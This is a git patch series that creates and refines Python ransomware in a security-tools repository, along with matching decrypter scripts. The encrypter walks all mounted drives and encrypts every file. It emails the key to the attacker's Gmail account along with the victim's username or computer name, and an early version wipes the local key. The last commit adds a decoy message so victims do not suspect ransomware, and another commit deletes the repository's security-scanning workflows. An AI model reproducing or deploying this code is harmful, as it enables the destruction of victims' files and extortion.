From ccb46b61e08ce75b689b940e36f7799258203464 Mon Sep 17 00:00:00 2001
From: dmdhrumilmistry <dhrumilmistry2015@gmail.com>
Date: Wed, 28 Jul 2021 01:30:25 +0530
Subject: [PATCH 1/4] create new dmsec ransomware

---
 ransomwares/dsec_ransomware/decrypter.py |  83 ++++++++++++++
 ransomwares/dsec_ransomware/encrypter.py | 135 +++++++++++++++++++++++
 2 files changed, 218 insertions(+)
 create mode 100644 ransomwares/dsec_ransomware/decrypter.py
 create mode 100644 ransomwares/dsec_ransomware/encrypter.py

diff --git a/ransomwares/dsec_ransomware/decrypter.py b/ransomwares/dsec_ransomware/decrypter.py
new file mode 100644
index 0000000..bb8eaae
--- /dev/null
+++ b/ransomwares/dsec_ransomware/decrypter.py
@@ -0,0 +1,83 @@
+from cryptography.fernet import Fernet
+from os.path import join, isfile
+from os import getcwd, name, walk, chdir
+from tempfile import gettempdir
+from psutil import disk_partitions
+from sys import exit
+
+
+def get_partitions_path():
+    '''
+    get all mounted partition's mount point
+    '''
+    mount_points = []
+    for partition in disk_partitions():
+        mount_points.append(partition.mountpoint)
+    return mount_points
+
+
+def read_key(path):
+    '''
+    get key
+    '''
+    key_path = join(path, KEY_FILE)
+    if isfile(key_path):
+        cwd = getcwd()
+        chdir(path)
+        key = open(key_path, 'rb').read()
+        chdir(cwd)
+        return key
+    else:
+        print('[!] No key found!')
+        exit()
+
+
+def decrypt_file(file_path, key):
+    '''
+    decrypts specified file
+    '''
+    fernet = Fernet(key)
+    enc_file_data = ''
+    # read file data
+    with open(file_path, 'rb') as file:
+        enc_file_data = file.read()
+    
+    # encrypt file data
+    file_data = fernet.decrypt(enc_file_data)
+
+    # write encrypted file
+    with open(file_path, 'wb') as file:
+        file.write(file_data)
+
+
+def decrypt_child_files(root_path, key):
+    '''
+    decrypts files inside specified root folder and it's subfolder
+    '''
+    for root, dirs, files in walk(root_path):
+        chdir(root)
+        
+        for file in files:
+            file_path = join(root, file)
+            decrypt_file(file_path,key)
+
+
+def start_recovery(paths:list):
+    '''
+    starts recovery process
+    '''
+    tempdir = gettempdir()
+    KEY = read_key(KEY_PATH)
+    for path in paths:
+        decrypt_child_files(path, KEY)   
+
+
+if __name__ == '__main__':
+    path = input('[+] Enter Key Path : ')
+    KEY_PATH = r'{}'.format(path)
+    
+    tempdir = gettempdir()
+    KEY_FILE = 'key.dmsec'
+    PATHS = get_partitions_path()
+
+    start_recovery(PATHS)
\ No newline at end of file
diff --git a/ransomwares/dsec_ransomware/encrypter.py b/ransomwares/dsec_ransomware/encrypter.py
new file mode 100644
index 0000000..138db1d
--- /dev/null
+++ b/ransomwares/dsec_ransomware/encrypter.py
@@ -0,0 +1,135 @@
+import string, random
+from cryptography.fernet import Fernet
+from os.path import join, isfile
+from os import getcwd, remove, walk, chdir, urandom
+from tempfile import gettempdir
+from psutil import disk_partitions
+from smtplib import SMTP, SMTPException
+from subprocess import check_output
+
+
+def send_key(mail, password, key)->bool:
+    '''
+    send key to the attacker's mail
+    '''
+    try:
+        user = check_output('whoami',shell=True).decode('utf-8')
+        msg = f'Subject: Key from {user}\nKEY: {key}\n\n'
+        server = SMTP('smtp.gmail.com', 587)
+        server.starttls()
+        server.login(mail, password)
+        server.sendmail(mail, mail, msg)
+        server.quit()
+        return True
+    except SMTPException as e:
+        # print('[-] Exception : ', e)
+        return False
+
+
+def get_partitions_path():
+    '''
+    get all mounted partition's mount point
+    '''
+    mount_points = []
+    for partition in disk_partitions():
+        mount_points.append(partition.mountpoint)
+    return mount_points
+
+
+def create_key(path):
+    '''
+    generate new key
+    '''
+    cwd = getcwd()
+    chdir(path)
+
+    key = Fernet.generate_key()
+    key_path = join(path, KEY_FILE)
+    with open(key_path,'wb') as key_file:
+        key_file.write(key)
+        send_key('youremail', 'AppPassword')
+    chdir(cwd)
+
+
+def read_key(path):
+    '''
+    get key
+    '''
+    key_path = join(path, KEY_FILE)
+
+    if isfile(key_path):
+        cwd = getcwd()
+        chdir(path)
+        key = open(key_path, 'rb').read()
+        chdir(cwd)
+        return key
+    
+
+
+def encrypt_file(file_path, key):
+    '''
+    encrypts the specified file
+    '''
+    fernet = Fernet(key)
+    file_data = None
+    # read file data
+    with open(file_path, 'rb') as file:
+        file_data = file.read()
+    
+    # encrypt file data
+    enc_file_data = fernet.encrypt(file_data)
+
+    # write encrypted file
+    with open(file_path, 'wb') as file:
+        file.write(enc_file_data)
+
+
+def encrypt_child_files(root_path, key):
+    '''
+    encrypt all files in folders/subfolders of the specified root path
+    '''
+    for root, dirs, files in walk(root_path):
+        chdir(root)
+        
+        for file in files:
+            file_path = join(root, file)
+            encrypt_file(file_path,key)
+
+
+def delete_key():
+    '''
+    writes a new key to the key file and then deletes it.
+    '''
+    tempdir = gettempdir()
+    key_file_path = join(tempdir, KEY_FILE)
+
+    with open(key_file_path, 'rb+') as key_file:
+        key_len = len(key_file.read())
+        chars = string.ascii_letters + string.digits + '!@#$%^&*()_+-=*,.;?:~"{[]}'
+        random.seed = urandom(1024)
+        new_fake_key = ''.join(random.choice(chars) for i in range(key_len)).encode('utf-8')
+        key_file.write(new_fake_key)
+
+    remove(key_file_path)
+
+
+def start_ransom_attack(paths:list):
+    '''
+    start encrypting data on specified paths
+    '''
+    tempdir = gettempdir()
+    create_key(tempdir)
+    KEY = read_key(tempdir)
+
+    for path in paths:
+        encrypt_child_files(path, KEY)
+    
+    # remove keys 
+    delete_key()
+
+
+if __name__ == '__main__':
+    print('[*] Starting Please Wait.....')
+    KEY_FILE = 'key.dmsec'
+    PATHS = get_partitions_path()
+    start_ransom_attack(PATHS)

From fb79815526f25987ae028a5d466775c759bea68d Mon Sep 17 00:00:00 2001
From: dmdhrumilmistry <dhrumilmistry2015@gmail.com>
Date: Thu, 26 Aug 2021 20:19:53 +0530
Subject: [PATCH 2/4] rewrite ransomware

rewrite ransomware using class
update requirements
---
 ransomwares/dmsec/decrypter.py           |  84 ++++++++++++++
 ransomwares/dmsec/dmsec_ransomeware.py   |  73 ++++++++++++
 ransomwares/dsec_ransomware/decrypter.py |  83 --------------
 ransomwares/dsec_ransomware/encrypter.py | 135 -----------------------
 requirements.txt                         |   3 +-
 5 files changed, 159 insertions(+), 219 deletions(-)
 create mode 100644 ransomwares/dmsec/decrypter.py
 create mode 100644 ransomwares/dmsec/dmsec_ransomeware.py
 delete mode 100644 ransomwares/dsec_ransomware/decrypter.py
 delete mode 100644 ransomwares/dsec_ransomware/encrypter.py

diff --git a/ransomwares/dmsec/decrypter.py b/ransomwares/dmsec/decrypter.py
new file mode 100644
index 0000000..1584de8
--- /dev/null
+++ b/ransomwares/dmsec/decrypter.py
@@ -0,0 +1,84 @@
+from cryptography.fernet import Fernet
+from sys import exit
+from os import walk
+from os.path import join
+from psutil import disk_partitions
+
+class DMSECDecrypter:
+    def __init__(self, key:str=None, paths:list=None) -> None:
+        # check key
+        if key == None:
+            print('[!] Invalid KEY')
+            exit()
+        if type(key)==str:
+            key = bytes(key, encoding='utf-8')
+        self.KEY = key
+        print('[!] KEY :', self.KEY)
+
+        # generate fernet obj for file encryption
+        self.fernet = Fernet(self.KEY)
+
+        if paths == None:
+            self.PATHS = self.__get_partitions_path()
+        else:
+            self.PATHS = paths
+        print('[!] PATHS to be decrypted :\n', self.PATHS)
+
+
+
+    def __get_partitions_path(self) -> list:
+        '''
+        returns all mounted partition's mount points as a list
+        '''
+        mount_points = []
+        for partition in disk_partitions():
+            mount_points.append(partition.mountpoint)
+        return mount_points
+
+
+    def decrypt_file(self, file_path:str):
+        '''
+        decrypts single file
+        '''
+        try:
+            # read file data
+            with open(file_path, 'rb') as f:
+                file_data = f.read()
+
+            # decrypt file data
+            dec_data = self.fernet.decrypt(file_data)
+
+            # write file data
+            with open(file_path, 'wb') as f:
+                f.write(dec_data)
+            print(f'[*] File {file_path} decrypted.')
+            return True
+
+        except Exception:
+            print(f'[!] Failed to decrypt {file_path}')
+            return False
+
+
+    def decrypt_files(self, path:str):
+        '''
+        decrypts all the files in the specified path
+        '''
+        for root, dirs, files in walk(path):
+            print('-'*40)
+            print('ROOT :',root)
+            for file in files:
+                file_path = join(root, file)
+                self.decrypt_file(file_path=file_path)
+            print('-'*40)
+
+
+    def start(self):
+        for path in self.PATHS:
+            self.decrypt_files(path)
+
+
+if __name__ == '__main__':
+    PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',]
+    KEY = input('[+] Enter KEY : ')
+    encrypter = DMSECDecrypter(KEY, PATHS)
+    encrypter.start()
diff --git a/ransomwares/dmsec/dmsec_ransomeware.py b/ransomwares/dmsec/dmsec_ransomeware.py
new file mode 100644
index 0000000..8738c55
--- /dev/null
+++ b/ransomwares/dmsec/dmsec_ransomeware.py
@@ -0,0 +1,73 @@
+from cryptography.fernet import Fernet
+from os import chdir, getcwd, walk
+from os.path import join
+from psutil import disk_partitions
+
+class DMSECEncrypter:
+    def __init__(self, paths:list=None) -> None:
+        # generate new key
+        self.KEY = Fernet.generate_key()
+        print('[!] KEY :', self.KEY)
+
+        # generate fernet obj for file encryption
+        self.fernet = Fernet(self.KEY)
+
+        if paths == None:
+            self.PATHS = self.__get_partitions_path()
+        else:
+            self.PATHS = paths
+        print('[!] PATHS to be encrypted :\n', self.PATHS)
+
+
+
+    def __get_partitions_path(self) -> list:
+        '''
+        returns all mounted partition's mount points as a list
+        '''
+        mount_points = []
+        for partition in disk_partitions():
+            mount_points.append(partition.mountpoint)
+        return mount_points
+
+
+    def encrypt_file(self, file_path):
+        try:
+            # read file data
+            with open(file_path, 'rb') as f:
+                file_data = f.read()
+
+            # encrypt file data
+            enc_data = self.fernet.encrypt(file_data)
+
+            # write file data
+            with open(file_path, 'wb') as f:
+                file_data = f.write(enc_data)
+            print(f'[*] File {file_path} encrypted.')
+            return True
+
+        except Exception:
+            print(f'[!] Failed to encrypt {file_path}')
+            return False
+        
+    
+    def encrypt_files(self, path:str):
+        for root, dirs, files in walk(path):
+            print('-'*40)
+            print('ROOT :',root)
+            for file in files:
+                # print('File :', file)
+                file_path = join(root, file)
+                # print('filePATH :',file_path)
+                self.encrypt_file(file_path=file_path)
+            print('-'*40)
+
+
+
+    def start(self):
+        for path in self.PATHS:
+            self.encrypt_files(path)
+
+if __name__ == '__main__':
+    PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',]
+    encrypter = DMSECEncrypter(PATHS)
+    encrypter.start()
diff --git a/ransomwares/dsec_ransomware/decrypter.py b/ransomwares/dsec_ransomware/decrypter.py
deleted file mode 100644
index bb8eaae..0000000
--- a/ransomwares/dsec_ransomware/decrypter.py
+++ /dev/null
@@ -1,83 +0,0 @@
-from cryptography.fernet import Fernet
-from os.path import join, isfile
-from os import getcwd, name, walk, chdir
-from tempfile import gettempdir
-from psutil import disk_partitions
-from sys import exit
-
-
-def get_partitions_path():
-    '''
-    get all mounted partition's mount point
-    '''
-    mount_points = []
-    for partition in disk_partitions():
-        mount_points.append(partition.mountpoint)
-    return mount_points
-
-
-def read_key(path):
-    '''
-    get key
-    '''
-    key_path = join(path, KEY_FILE)
-    if isfile(key_path):
-        cwd = getcwd()
-        chdir(path)
-        key = open(key_path, 'rb').read()
-        chdir(cwd)
-        return key
-    else:
-        print('[!] No key found!')
-        exit()
-
-
-def decrypt_file(file_path, key):
-    '''
-    decrypts specified file
-    '''
-    fernet = Fernet(key)
-    enc_file_data = ''
-    # read file data
-    with open(file_path, 'rb') as file:
-        enc_file_data = file.read()
-    
-    # encrypt file data
-    file_data = fernet.decrypt(enc_file_data)
-
-    # write encrypted file
-    with open(file_path, 'wb') as file:
-        file.write(file_data)
-
-
-def decrypt_child_files(root_path, key):
-    '''
-    decrypts files inside specified root folder and it's subfolder
-    '''
-    for root, dirs, files in walk(root_path):
-        chdir(root)
-        
-        for file in files:
-            file_path = join(root, file)
-            decrypt_file(file_path,key)
-
-
-def start_recovery(paths:list):
-    '''
-    starts recovery process
-    '''
-    tempdir = gettempdir()
-    KEY = read_key(KEY_PATH)
-    for path in paths:
-        decrypt_child_files(path, KEY)   
-
-
-if __name__ == '__main__':
-    path = input('[+] Enter Key Path : ')
-    KEY_PATH = r'{}'.format(path)
-    
-    tempdir = gettempdir()
-    KEY_FILE = 'key.dmsec'
-    PATHS = get_partitions_path()
-
-    start_recovery(PATHS)
\ No newline at end of file
diff --git a/ransomwares/dsec_ransomware/encrypter.py b/ransomwares/dsec_ransomware/encrypter.py
deleted file mode 100644
index 138db1d..0000000
--- a/ransomwares/dsec_ransomware/encrypter.py
+++ /dev/null
@@ -1,135 +0,0 @@
-import string, random
-from cryptography.fernet import Fernet
-from os.path import join, isfile
-from os import getcwd, remove, walk, chdir, urandom
-from tempfile import gettempdir
-from psutil import disk_partitions
-from smtplib import SMTP, SMTPException
-from subprocess import check_output
-
-
-def send_key(mail, password, key)->bool:
-    '''
-    send key to the attacker's mail
-    '''
-    try:
-        user = check_output('whoami',shell=True).decode('utf-8')
-        msg = f'Subject: Key from {user}\nKEY: {key}\n\n'
-        server = SMTP('smtp.gmail.com', 587)
-        server.starttls()
-        server.login(mail, password)
-        server.sendmail(mail, mail, msg)
-        server.quit()
-        return True
-    except SMTPException as e:
-        # print('[-] Exception : ', e)
-        return False
-
-
-def get_partitions_path():
-    '''
-    get all mounted partition's mount point
-    '''
-    mount_points = []
-    for partition in disk_partitions():
-        mount_points.append(partition.mountpoint)
-    return mount_points
-
-
-def create_key(path):
-    '''
-    generate new key
-    '''
-    cwd = getcwd()
-    chdir(path)
-
-    key = Fernet.generate_key()
-    key_path = join(path, KEY_FILE)
-    with open(key_path,'wb') as key_file:
-        key_file.write(key)
-        send_key('youremail', 'AppPassword')
-    chdir(cwd)
-
-
-def read_key(path):
-    '''
-    get key
-    '''
-    key_path = join(path, KEY_FILE)
-
-    if isfile(key_path):
-        cwd = getcwd()
-        chdir(path)
-        key = open(key_path, 'rb').read()
-        chdir(cwd)
-        return key
-    
-
-
-def encrypt_file(file_path, key):
-    '''
-    encrypts the specified file
-    '''
-    fernet = Fernet(key)
-    file_data = None
-    # read file data
-    with open(file_path, 'rb') as file:
-        file_data = file.read()
-    
-    # encrypt file data
-    enc_file_data = fernet.encrypt(file_data)
-
-    # write encrypted file
-    with open(file_path, 'wb') as file:
-        file.write(enc_file_data)
-
-
-def encrypt_child_files(root_path, key):
-    '''
-    encrypt all files in folders/subfolders of the specified root path
-    '''
-    for root, dirs, files in walk(root_path):
-        chdir(root)
-        
-        for file in files:
-            file_path = join(root, file)
-            encrypt_file(file_path,key)
-
-
-def delete_key():
-    '''
-    writes a new key to the key file and then deletes it.
-    '''
-    tempdir = gettempdir()
-    key_file_path = join(tempdir, KEY_FILE)
-
-    with open(key_file_path, 'rb+') as key_file:
-        key_len = len(key_file.read())
-        chars = string.ascii_letters + string.digits + '!@#$%^&*()_+-=*,.;?:~"{[]}'
-        random.seed = urandom(1024)
-        new_fake_key = ''.join(random.choice(chars) for i in range(key_len)).encode('utf-8')
-        key_file.write(new_fake_key)
-
-    remove(key_file_path)
-
-
-def start_ransom_attack(paths:list):
-    '''
-    start encrypting data on specified paths
-    '''
-    tempdir = gettempdir()
-    create_key(tempdir)
-    KEY = read_key(tempdir)
-
-    for path in paths:
-        encrypt_child_files(path, KEY)
-    
-    # remove keys 
-    delete_key()
-
-
-if __name__ == '__main__':
-    print('[*] Starting Please Wait.....')
-    KEY_FILE = 'key.dmsec'
-    PATHS = get_partitions_path()
-    start_ransom_attack(PATHS)
diff --git a/requirements.txt b/requirements.txt
index b137faf..8827826 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -7,4 +7,5 @@ colorama>=0.4.4
 beautifulsoup4==4.9.3
 pyfiglet==0.8.post1
 prettytable==2.1.0
-scapy-python3==0.26
\ No newline at end of file
+kamene==0.32
+psutil=5.8.0
\ No newline at end of file

From f34f18ae29719e95915c9112d22a5ef96ea9b380 Mon Sep 17 00:00:00 2001
From: dmdhrumilmistry <dhrumilmistry2015@gmail.com>
Date: Thu, 26 Aug 2021 20:21:22 +0530
Subject: [PATCH 3/4] Delete .github/workflows directory

---
 .github/workflows/codacy-analysis.yml | 49 --------------------
 .github/workflows/codeql-analysis.yml | 67 ---------------------------
 2 files changed, 116 deletions(-)
 delete mode 100644 .github/workflows/codacy-analysis.yml
 delete mode 100644 .github/workflows/codeql-analysis.yml

diff --git a/.github/workflows/codacy-analysis.yml b/.github/workflows/codacy-analysis.yml
deleted file mode 100644
index 4ec9f19..0000000
--- a/.github/workflows/codacy-analysis.yml
+++ /dev/null
@@ -1,49 +0,0 @@
-# This workflow checks out code, performs a Codacy security scan
-# and integrates the results with the
-# GitHub Advanced Security code scanning feature.  For more information on
-# the Codacy security scan action usage and parameters, see
-# https://github.com/codacy/codacy-analysis-cli-action.
-# For more information on Codacy Analysis CLI in general, see
-# https://github.com/codacy/codacy-analysis-cli.
-
-name: Codacy Security Scan
-
-on:
-  push:
-    branches: [ master ]
-  pull_request:
-    # The branches below must be a subset of the branches above
-    branches: [ master ]
-  schedule:
-    - cron: '17 7 * * 5'
-
-jobs:
-  codacy-security-scan:
-    name: Codacy Security Scan
-    runs-on: ubuntu-latest
-    steps:
-      # Checkout the repository to the GitHub Actions runner
-      - name: Checkout code
-        uses: actions/checkout@v2
-
-      # Execute Codacy Analysis CLI and generate a SARIF output with the security issues identified during the analysis
-      - name: Run Codacy Analysis CLI
-        uses: codacy/codacy-analysis-cli-action@1.1.0
-        with:
-          # Check https://github.com/codacy/codacy-analysis-cli#project-token to get your project token from your Codacy repository
-          # You can also omit the token and run the tools that support default configurations
-          project-token: ${{ secrets.CODACY_PROJECT_TOKEN }}
-          verbose: true
-          output: results.sarif
-          format: sarif
-          # Adjust severity of non-security issues
-          gh-code-scanning-compat: true
-          # Force 0 exit code to allow SARIF file generation
-          # This will handover control about PR rejection to the GitHub side
-          max-allowed-issues: 2147483647
-
-      # Upload the SARIF file generated in the previous step
-      - name: Upload SARIF results file
-        uses: github/codeql-action/upload-sarif@v1
-        with:
-          sarif_file: results.sarif
diff --git a/.github/workflows/codeql-analysis.yml b/.github/workflows/codeql-analysis.yml
deleted file mode 100644
index 2ccb070..0000000
--- a/.github/workflows/codeql-analysis.yml
+++ /dev/null
@@ -1,67 +0,0 @@
-# For most projects, this workflow file will not need changing; you simply need
-# to commit it to your repository.
-#
-# You may wish to alter this file to override the set of languages analyzed,
-# or to provide custom queries or build logic.
-#
-# ******** NOTE ********
-# We have attempted to detect the languages in your repository. Please check
-# the `language` matrix defined below to confirm you have the correct set of
-# supported CodeQL languages.
-#
-name: "CodeQL"
-
-on:
-  push:
-    branches: [ master ]
-  pull_request:
-    # The branches below must be a subset of the branches above
-    branches: [ master ]
-  schedule:
-    - cron: '29 3 * * 4'
-
-jobs:
-  analyze:
-    name: Analyze
-    runs-on: ubuntu-latest
-
-    strategy:
-      fail-fast: false
-      matrix:
-        language: [ 'python' ]
-        # CodeQL supports [ 'cpp', 'csharp', 'go', 'java', 'javascript', 'python' ]
-        # Learn more:
-        # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed
-
-    steps:
-    - name: Checkout repository
-      uses: actions/checkout@v2
-
-    # Initializes the CodeQL tools for scanning.
-    - name: Initialize CodeQL
-      uses: github/codeql-action/init@v1
-      with:
-        languages: ${{ matrix.language }}
-        # If you wish to specify custom queries, you can do so here or in a config file.
-        # By default, queries listed here will override any specified in a config file.
-        # Prefix the list here with "+" to use these queries and those in the config file.
-        # queries: ./path/to/local/query, your-org/your-repo/queries@main
-
-    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).
-    # If this step fails, then you should remove it and run the build manually (see below)
-    - name: Autobuild
-      uses: github/codeql-action/autobuild@v1
-
-    # ℹ️ Command-line programs to run using the OS shell.
-    # 📚 https://git.io/JvXDl
-
-    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
-    #    and modify them (or add more) to build your code if your project
-    #    uses a compiled language
-
-    #- run: |
-    #   make bootstrap
-    #   make release
-
-    - name: Perform CodeQL Analysis
-      uses: github/codeql-action/analyze@v1

From 534ce1912c7a14c1b4affd965d7a55c77b1587af Mon Sep 17 00:00:00 2001
From: dmdhrumilmistry <dhrumilmistry2015@gmail.com>
Date: Thu, 26 Aug 2021 21:17:50 +0530
Subject: [PATCH 4/4] update Ransomware

---
 ransomwares/dmsec/decrypter.py         | 18 ++++++---
 ransomwares/dmsec/dmsec_ransomeware.py | 51 +++++++++++++++++++-------
 2 files changed, 50 insertions(+), 19 deletions(-)

diff --git a/ransomwares/dmsec/decrypter.py b/ransomwares/dmsec/decrypter.py
index 1584de8..5a022fb 100644
--- a/ransomwares/dmsec/decrypter.py
+++ b/ransomwares/dmsec/decrypter.py
@@ -10,14 +10,17 @@ def __init__(self, key:str=None, paths:list=None) -> None:
         if key == None:
             print('[!] Invalid KEY')
             exit()
+
+        # convert key to bytes
         if type(key)==str:
             key = bytes(key, encoding='utf-8')
         self.KEY = key
-        print('[!] KEY :', self.KEY)
+        print('[!] Decrypting data using KEY :', self.KEY)
 
         # generate fernet obj for file encryption
         self.fernet = Fernet(self.KEY)
 
+        # decrypt all partitions if paths are not passed
         if paths == None:
             self.PATHS = self.__get_partitions_path()
         else:
@@ -64,12 +67,9 @@ def decrypt_files(self, path:str):
         decrypts all the files in the specified path
         '''
         for root, dirs, files in walk(path):
-            print('-'*40)
-            print('ROOT :',root)
             for file in files:
                 file_path = join(root, file)
                 self.decrypt_file(file_path=file_path)
-            print('-'*40)
 
 
     def start(self):
@@ -78,7 +78,15 @@ def start(self):
 
 
 if __name__ == '__main__':
-    PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',]
+    print('[*] Decrypting....')
+
+    # specify paths to be decrypted
+    PATHS = [r'paths_to_be_decrypted',]
+
     KEY = input('[+] Enter KEY : ')
+    
+    # don't pass PATHS if all the drives are to be decrypted.
     encrypter = DMSECDecrypter(KEY, PATHS)
     encrypter.start()
+
+    print('[*] Decrypted...')
diff --git a/ransomwares/dmsec/dmsec_ransomeware.py b/ransomwares/dmsec/dmsec_ransomeware.py
index 8738c55..66b1723 100644
--- a/ransomwares/dmsec/dmsec_ransomeware.py
+++ b/ransomwares/dmsec/dmsec_ransomeware.py
@@ -1,13 +1,22 @@
+import smtplib
 from cryptography.fernet import Fernet
-from os import chdir, getcwd, walk
+from os import walk, environ
 from os.path import join
 from psutil import disk_partitions
 
+
 class DMSECEncrypter:
-    def __init__(self, paths:list=None) -> None:
+    def __init__(self, paths:list=None, gmail:str=None, passwd:str=None) -> None:
         # generate new key
         self.KEY = Fernet.generate_key()
-        print('[!] KEY :', self.KEY)
+
+        # report KEY to the attacker using email
+        if gmail!=None and passwd!=None and self.send_mail(mail=gmail, password=passwd):
+            pass
+        else:
+            # print error message and exit if key is not sent
+            print('[!] Try Again, Unable to connect')
+            exit()
 
         # generate fernet obj for file encryption
         self.fernet = Fernet(self.KEY)
@@ -16,9 +25,23 @@ def __init__(self, paths:list=None) -> None:
             self.PATHS = self.__get_partitions_path()
         else:
             self.PATHS = paths
-        print('[!] PATHS to be encrypted :\n', self.PATHS)
 
 
+    def send_mail(self, mail, password)->bool:
+        '''
+        sends mail to specific address/addresses.
+        '''
+        try:
+            message =  f'Subject: RNSMWARE ATTK has been initialized on {environ["COMPUTERNAME"]}\n**KEY** {str(self.KEY, encoding="utf-8")}\n**OS** {environ["OS"]}\n\n'
+            server = smtplib.SMTP('smtp.gmail.com', 587)
+            server.starttls()
+            server.login(mail, password)
+            server.sendmail(mail, mail, message)
+            server.quit()
+            return True
+        except Exception as e:
+            return False
+
 
     def __get_partitions_path(self) -> list:
         '''
@@ -42,32 +65,32 @@ def encrypt_file(self, file_path):
             # write file data
             with open(file_path, 'wb') as f:
                 file_data = f.write(enc_data)
-            print(f'[*] File {file_path} encrypted.')
             return True
 
         except Exception:
-            print(f'[!] Failed to encrypt {file_path}')
             return False
         
     
     def encrypt_files(self, path:str):
         for root, dirs, files in walk(path):
-            print('-'*40)
-            print('ROOT :',root)
             for file in files:
-                # print('File :', file)
                 file_path = join(root, file)
-                # print('filePATH :',file_path)
                 self.encrypt_file(file_path=file_path)
-            print('-'*40)
-
 
 
     def start(self):
         for path in self.PATHS:
             self.encrypt_files(path)
 
+
 if __name__ == '__main__':
-    PATHS = [r'C:\Users\there\Desktop\tools\TermuxCustomBanner',]
-    encrypter = DMSECEncrypter(PATHS)
+    # Print some meaningful text, so that user don't suspect program as ransomeware 
+    print('[*] Loading...')
+
+    # Specify paths to be encrypted
+    PATHS = [r'path_to_be_encrypted',]
+
+    # don't pass PATHS if all the drives are to be encrypted
+    encrypter = DMSECEncrypter(PATHS, gmail='yourgmailid', passwd='yourapppassword')
     encrypter.start()
+    print('[*] Completed')